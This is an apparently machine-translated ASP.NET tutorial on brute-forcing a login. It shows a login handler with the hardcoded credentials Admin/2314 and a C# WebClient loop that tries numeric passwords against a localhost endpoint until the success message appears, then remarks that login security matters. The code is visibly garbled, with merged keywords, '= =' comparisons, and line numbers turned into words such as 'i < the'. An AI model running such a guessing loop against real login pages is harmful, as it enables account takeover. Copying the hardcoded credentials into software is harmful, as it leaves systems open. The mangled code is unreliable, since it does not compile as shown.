First write a login procedure:
//Ashx End<%@ WebHandler language="C #"class="addcalation"%>usingSystem;usingsystem.web; Public classAddcalation:ihttphandler { Public voidProcessRequest (HttpContext context) {context. Response.ContentType="text/html"; stringIspostback=context. request["Isback"]; stringUsername = context. request["username"]; stringPassword = context. request["Password"]; if(IsPostBack = ="Yes") { if(Username = ="Admin"&& Password = ="2314") {context. Response.Write ("Landing Success"); } Else{context. Response.Write ("Login Failed"); } } Else{username=string. Empty; Password=string. Empty; } stringPath = context. Server.MapPath ("addcalation.html"); stringContent =System.IO.File.ReadAllText (path); Content=content. Replace ("@user", username); Content= content. Replace ("@pass", password); Context. Response.Write (content); } Public BOOLisreusable {Get { return false; } }}//HTML Side<! DOCTYPE html>"http://www.w3.org/1999/xhtml">"addcalation.ashx"> <input type="Hidden"Value="Yes"Name="Isback"/> <label for="User"> User name </label> <input type="text"Id="User"Value="@user"Name="username"/> <br/> <label for="Pass"> Password </label> <input type="Password"Id="Pass"Value="@pass"Name="Password"/> <br/><input type="Submit"Value="Login"/></form></body>Then write a C # console program to brute force
1 usingSystem;2 usingSystem.Collections.Generic;3 usingSystem.Linq;4 usingSystem.Net;5 usingSystem.Text;6 usingSystem.Threading.Tasks;7 8 9 namespacePasswordbreakTen { One class Program A { - Static voidMain (string[] args) - { theWebClient WC =NewWebClient (); -Wc. Encoding =Encoding.UTF8; - strings=""; - for(inti =0; I < the; i++) + { -s = WC. Downloadstring ("http://localhost:41566/AddCalation.ashx?isback=yes&username=admin&password="+i); + if(S.contains ("Landing Success")) A{Console.WriteLine (i); Break; } at } - Console.WriteLine (); - Console.Write (s); - Console.readkey (); - } - } in}
Try to hack the password in your login code by looping through the password in turn
Therefore, the security of the login port is very important.
Asp. NET Basic Learning (brute force password)